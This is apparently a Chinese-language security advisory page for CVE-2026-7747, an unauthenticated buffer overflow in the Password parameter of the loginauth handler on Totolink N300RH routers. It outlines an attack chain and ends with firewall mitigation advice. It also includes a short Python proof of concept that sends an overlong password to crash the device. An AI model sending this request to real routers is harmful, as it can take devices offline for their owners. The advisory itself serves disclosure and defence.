IPBUF安全漏洞报告
English
CVE-2026-7747 CVSS 9.8 严重

CVE-2026-7747 Totolink N300RH缓冲区溢出漏洞

披露日期: 2026-05-04

漏洞信息

漏洞编号
CVE-2026-7747
漏洞类型
缓冲区溢出
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Totolink N300RH

相关标签

缓冲区溢出RCEIoTTOTOLINK路由器漏洞

漏洞概述

Totolink N300RH路由器固件版本3.2.4-B20220812中存在一个严重的缓冲区溢出漏洞。该漏洞位于/cgi-bin/cstecgi.cgi文件的loginauth函数中,由于对“Password”参数的处理缺乏严格的长度限制,导致攻击者可以通过发送特制的恶意数据包触发溢出。此漏洞允许未经认证的远程攻击者执行任意代码,从而完全控制设备,严重威胁系统的机密性、完整性和可用性。

技术细节

该漏洞属于典型的栈缓冲区溢出漏洞,其根源在于Totolink N300RH路由器/cgi-bin/cstecgi.cgi程序中的loginauth函数未对用户输入进行严格的边界检查。具体而言,当组件参数处理器接收到包含“Password”参数的HTTP POST请求时,程序直接调用了不安全的拷贝函数将数据写入栈缓冲区,而未验证输入长度是否超过缓冲区容量。攻击者可以通过向该接口发送精心构造的超长字符串,导致栈溢出,进而覆盖函数的返回地址。由于该漏洞无需认证(PR:N)且通过网络传播(AV:N),攻击者可远程利用此缺陷。通过在溢出数据中植入特定的机器码或利用面向返回编程(ROP)技术,攻击者能够劫持程序执行流,最终以Root权限在目标设备上执行任意系统命令,完全接管设备控制权。

攻击链分析

STEP 1
侦察阶段
攻击者扫描网络,识别暴露的Totolink N300RH设备及其固件版本。
STEP 2
漏洞利用
攻击者向/cgi-bin/cstecgi.cgi接口发送包含恶意构造的长Password参数的POST请求,触发缓冲区溢出。
STEP 3
代码执行
利用溢出覆盖返回地址,劫持程序执行流,注入并执行恶意Shellcode,获得设备控制权。
STEP 4
建立后门
攻击者修改系统配置,开启后门或添加管理员账号,确保持久化访问。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests target_url = "http://<TARGET_IP>/cgi-bin/cstecgi.cgi" # Construct the payload with a long string to trigger buffer overflow # The actual offset to overwrite EIP needs further debugging, this is a DoS PoC payload = { "function": "loginauth", "Password": "A" * 1000 # Sending 1000 'A' characters to overflow the buffer } try: print(f"Sending payload to {target_url}...") response = requests.post(target_url, data=payload, timeout=5) print(f"Response Status Code: {response.status_code}") # If the device crashes or stops responding, the vulnerability is confirmed print("Check if the device has crashed or rebooted.") except requests.exceptions.RequestException as e: print(f"Request failed: {e}")

影响范围

Totolink N300RH 3.2.4-B20220812

防御指南

临时缓解措施
在无法立即升级固件的情况下,建议通过防火墙策略阻断外部网络对路由器Web管理界面的访问,仅保留内网管理。同时,管理员应密切监控设备CPU利用率和网络流量,一旦发现异常重启或高负载情况,应及时排查并断网隔离。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表